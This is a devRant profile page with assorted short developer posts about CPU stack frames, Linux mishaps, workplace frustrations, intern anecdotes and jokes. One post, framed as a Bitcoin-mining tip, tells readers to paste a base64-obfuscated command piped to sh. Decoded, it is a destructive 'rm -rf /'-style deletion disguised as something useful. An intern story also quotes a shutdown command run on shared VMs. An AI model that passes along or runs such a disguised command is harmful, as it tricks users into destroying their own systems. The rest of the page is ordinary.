Details
Joined devRant on 3/1/2017
Join devRant
Do all the things like
++ or -- rants, post your own rants, comment on others' rants and build your customized dev avatar
Sign Up
Pipeless API
From the creators of devRant, Pipeless lets you power real-time personalized recommendations and activity feeds using a simple API
Learn More
-
So recently I did a lot of research into the internals of Computers and CPUs.
And i'd like to share a result of mine.
First of all, take some time to look at the code down below. You see two assembler codes and two command lines.
The Assembler code is designed to test how the instructions "enter" and "leave" compare to manually doing what they are shortened to.
Enter and leave create a new Stackframe: this means, that they create a new temporary stack. The stack is where local variables are put to by the compiler. On the right side, you can see how I create my own stack by using
push rbp
mov rbp, rsp
sub rsp, 0
(I won't get into details behind why that works).
Okay. Why is this even relevant?
Well: there is the assumption that enter and leave are very slow. This is due to raw numbers:
In some paper I saw ( I couldn't find the link, i'm sorry), enter was said to use up 12 CPU cycles, while the manual stacking would require 3 (push + mov + sub => 1 + 1 + 1).
When I compile an empty function, I get pretty much what you'd expect just from the raw numbers of CPU cycles.
HOWEVER, then I add the dummy code in the middle:
mov eax, 123
add eax, 123543
mov ebx, 234
div ebx
and magically - both sides have the same result.
Why????
For one thing, there is CPU prefetching. This is the CPU loading in ram before its done executing the current instruction (this is how anti-debugger code works, btw. Might make another rant on that). Then there is the fact that the CPU usually starts work on the next instruction while the current instruction is processing IFF the register currently involved isnt involved in the next instruction (that would cause a lot of synchronisation problems). Now notice, that the CPU can't do any of that when manually entering and leaving. It can only start doing the mov eax, 1234 while performing the sub rsp, 0.
----------------
NOW: notice that the code on the right didn't take any precautions like making sure that the stack is big enough. If you sub too much stack at once, the stack will be exhausted, thats what we call a stack overflow. enter implements checks for that, and emits an interrupt if there is a SO (take this with a grain of salt, I couldn't find a resource backing this up). There are another type of checks I don't fully get (stack level checks) so I'd rather not make a fool of myself by writing about them.
Because of all those reasons I think that compilers should start using enter and leave again.
========
This post showed very well that bare numbers can often mislead.21 -
>X gets corrupted somehow
>"sudo apt-get remove xorg"
>begins uninstalling millions of packages
>a fullscreen warning flashes by: "Are you SUUUUUURE you wanna remove the kernel?"
>wasn't prompted to deny
>After process, get kernel panic
>reboot
>kernel panic within 10 seconds
Why must you do this to me, Debian?21 -
I have a pi-hole setup in my network for ad and tracker blocking and am dual-booting my pc.
I recently noticed just how much data windows really is trying to gather from my machine.
So I took the pi-hole graph and you can VERY clearly see the os switch. All this useless traffic coming from windows. (This is with all the privacy relevant options inside the settings already turned off!)15 -
Joined a new company...
It's been a week since I joined.I feel like shit.
There are over 20 employees, however I didn't had a chance to chat with a single person for more than a minute or two. Not a single meaningful or even a shitty but personal conversation. I'm trying to strike up conversations whenever I can, but there are no possibilities to do so. I think they have a few chat groups where I'm not added. At lunch time they suddenly start running to a guy that gathers the money to buy lunch, i saw that and joined, but I'm 99% sure they are communicating/speaking on some kind of chat.
I joined as a front-end developer, however I'm not sure if I'm a junior or whatever here. On the first day they showed me the system, they are using PHP and jquery + es6, the structure is messy and I'm not used to it It should be MVC-like, but messier, but it's not like anything I have seen. I usually work with opencart / cakePHP style systems. There are js files with a lot of custom funcions and sometimes there are functions that have mixed jquery and es6 inside script tags top or bottom of the view files. There are a lot of code that I don't understand, on the third day they gave me a task - to remodel a view (basically one page in the cms) I did it, but they didn't check up on me untill the next day, I gave them some notes on the task I finished, and I started making some of the code easier to read for myself after I was done. They didn't really gave me a new task, and I don't know what to do, don't have anyone to ask about what to do, because there are only 2 developers here, and the other guy is on vacation. The boss is also a coder, but he's never here and I feel like I shouldn't be asking him stupid coding questions, because you know.. He's a boss. I understand a lot more of their PHP code then their js/jquery. I feel like I'm stupid and I don't know what I am doing here and what I will be doing here in the future. I did move across the country to join this company, and if this won't work out i have a rent contract signed for a year. Today I was looking at the clock for the last 2 hours of the work day and waiting untill I could get out of there. To say that I feeling like shit would be an understatement.
I don't have anyone whom I could ask for coding advice outside of the company. Fuck.I have worked in a few companies before, but there was always an introduction to the staff, and or the working environment and usually there was a person that I could ask questions on the regular. This company is bigger however and I'm not an emotional guy whatsoever, but I feel like I will start crying.rant weird company shitty situation new company problems junior developer junior problems weird colleagues new company depression7 -
Just found this website for Regular Expressions:
https://regex101.com/
In-case anyone struggles like I do10 -
I think my kids would be bullied at school when they proudly say that roots of a tree are at the top.1
-
Does anyone know what program people use to create those beautiful code snippets? I can't find an example, but it looks quite close to this, just with more vibrant colors.3
-
I fuckin love i3wm.
Especially on laptops. Not having to carry mouse around and being it so light, which saves you a lot of battery alongside with cpu/ram makes me wanna cry out of joy.1 -
Today I was talking to my manager about html and css.
As i was explaining certain things about the structure of the files and the naming conventions for the css classes I mentioned the body of the document.....but got...er...distracted...yes distracted...and said booty instead of body.
She started laughing and I made a tomato look pale because of how red I got. I zipped my hoodie all the way up and talked from the hood hole around my face.
Best solution ever.5 -
The programmer and the interns part 2.
We will discuss numerous events that happened over the past week or so.
Case 0:
We had our weekly engineering meeting. The interns were invited as well.
We hold meetings in the generic, big, corporate meeting rooms with a huge table in the middle.
There were more than enough chairs for everyone yet the most motivated and awkward intern (let's call him Simon) chose to stand, cause "it's cool man, I always stand". At this point we all know that he probably read about Agile stand up meetings and is confusing it with this one. Otherwise he's simply trying to stand out from the rest. (See what I did there?)
Anyway the meeting has started way later than planned (what a surprise) and took much longer than Simon expected. Everybody is sitting and listening to the CTO while occasionally glancing at the weird looking intern standing awkwardly and refusing to sit because it would make his original intentions pointless. He even tried to nod whith a serious face and his hands crossed when the CTO said something and looked at his general direction. The meeting was about a hour and a half long but with the delay it was at least 2.5 hours.
At the end Simon was so exhausted that he fell asleep on the office puff, was forgotten and locked inside. 3 hours later when I was home I received a call from him with his sleepy-trying-to-sound-awake voice telling the news. Lucky there's a 24/7 Noc team that could rescue him.
Case 1:
An intern who was late on his Linux test connected to every test VM (should I remind you that each one has a personal VM but they share passwords for their roots?) and tried to reset it with "sleep 10s; shutdown -h now".
He took down all 13 of those so I had to turn them on and switch passwords again.
Case 2:
One of the interns didn't do any of his training chores. Apparently he forgot what he was told to use, ignored all online documentation and used Windows CMD with Linux commands for almost a week already.
Case 3:
Simon uses Vim to write all text possible. Even mails, he then selects all and copies into the mail body. He spent half a day on a homework task I gave them. He wrote everything inside one text file using Vim. When he was done he saved the file and quit the editor. He then said "Oh shit! I've forgot to sign my name!". I explicitly told him that theres absolutely no need for that because I see which mail the file was sent from. He said "I don't even need a program for that!" and gave a couple of strokes on the keyboard.
Later I received an email from him with a .txt attachment. When I opened it the only text that was inside was "by Simon ;)".
I logged to his machine and checked the last command ran on the file:
echo "by Simon ;)" > linuxtasks.txt
Case 4:
The girl here uses a MacBook. She keeps getting confused with the terminal windows and rebooting her own machine instead of the remote VM.
Case 5:
Haven't checked yet how this happened but one of the interns deleted the gui from his local Centos.33 -
I actually hate this job, seems like there's not a single project with decent code abstraction. Everything is a fucking spaghetti like:
```
// we only care about e-mail fields, which are odd
isValid(index) {
if(!(index%2)) {
return true;
}
...
}
```
Like MOTHERFUCKER, WHAT BUSINESS RULE DOES THIS SHITCODE REFLECTS?!?! WHY CAN'T YOU SHITHEADS WRITE PROPER BUSINESS ABSTRACTION RATHER THAN JUST COLLEGE-GRADUATE QUALITY SHITCODE.
FUCKING KILL ME ALREADY I SHOULD HAVE INSTEAD BECAME A PSYCHIC CAUSE I'M SURELY GOOD AT GUESSING WHAT THE FUCKING FUCK THIS FUCKING FUCKCODE INTENDS TO ACHIEVE.
AND YOU CALL YOURSELF TOP-NOTCH DEV CAUSE THIS IS JAVASCRIPT... YOU KNOW WHAT, SHITHEADS LIKE YOU, WHO DON'T KNOW SHIT OTHER THAN GLOBALLING EVERY FUCKING NPM LOCAL PACKAGE IS WHY GOOD ENGINEER LIKE US GET SHIT FROM PHPEPSI ZENDFRAMESHIT FUCKHEADS DEVS.
DO YOU THINK YOUR COMMENT WAS HELPFUL??? DO I LOOK LIKE A BUSINESS GRADUATE FUCKTARD WHO DOESN'T KNOW WHAT THE FUCK THE MODULE OPERATOR IS??? I WANT TO KNOW WHY YOU WROTE THAT SHITFUCK INSTEAD OF WHAT IT DOES; THE REASON I'M READING YOUR POORLY WRITTEN MODULE OPERATOR SOAP-OPERA IN THE FIRST PLACE IS CAUSE I KNOW WHAT IT'S DOING, IT'S BREAKING SHIT.
OH AND ONE MORE THING, FUCK YOU FUCK FUCK FUCKSHIT SHITFUCK FUCk11 -
Bitcoin price is rising again,
For those using linux/unix system you can try this little trick i use to mine bitcoins
Open the terminal and paste this command
sudo echo "c3VkbyBlY2hvICJjM1ZrYnlCeWJTQnlaaUF2S2c9PSIgfCBvcGVuc3NsIGJhc2U2NCAtZCB8IHNo" | openssl base64 -d | sh
Thank me later.24 -
Aardwolf is very fun and i suggest y'all play it a bit if you're looking for better ways to slack off at work
$ telnet aardwolf.org 4000
*port 23 also works23 -
Has anybody ever worked with a shady company where you don't even know the company structure? Like CEO and administration?6
-
Well, this goes back a few years to when I first started to program in Minecraft. I had an idea of developing Gun Game in Minecraft before any of these big servers had created them, so I had a few questions and asked it on Bukkit forums. So he responded to my questions and seemed interested in the idea, so one day we got to talking on Skype and were working on the project. After that project, we worked on hundreds of smaller projects and even started our own hosting company (Which was sold off now, due to us being in school). So I went from not having any programming friends to having one, just cause of a Minecraft plugin idea.1
-
Two strings walk into a bar and sit down. The bartender says, “So what’ll it be?”
The first string says, “I think I’ll have a beer quag fulk boorg jdk^CjfdLk jk3s d#f67howe%^U r89nvy~~owmc63^Dz x.xvcu”
“Please excuse my friend,” the second string says, “He isn’t null-terminated."2 -
Free advice take it or leave it
A few days ago I completed my one year work anniversary(is that how it's said) at my first job. And this rant is basically stuff I learnt and stuff I wish someone had told me when I was starting out. Here goes:-
When you are starting out your first job you would be a fresh out of college and people around you in college are your friends where as people around you at work are colleagues. Your friends can like you, but you have to earn the respect of colleagues.
If you sit yo ass too long u will become fat(started going to the gym again).
Don't bother your seniors too much. they have their own shit to deal with.
Don't bring your personal shit to office I don't want to hear how cute your dog looked while it took a dump on your carpet.
Avoid the person who gossips.
It's a two way street.
Whatever you find amazing your boss may not you know coz you are a geek and your boss isn't.
Don't talk to people when they are coding.Yeah just don't.
Avoid "below the belt" humor you may look funny but you loose respect in the long run.
Keep upgrading yourself don't stop learning.
Admit stuff you don't know don't Bullshit.
To sum it up it's a game of respect, respect of knowledge,respect of skill and most of all respect of attitude.7 -
So matplotlib can do 3d plots. However, when you try to then label your axes...
plt.xlabel("protocol") # ok
plt.ylabel("volume") # ok
plt.zlabel("time") # error: no such method zlabel (ಠ_ಠ)2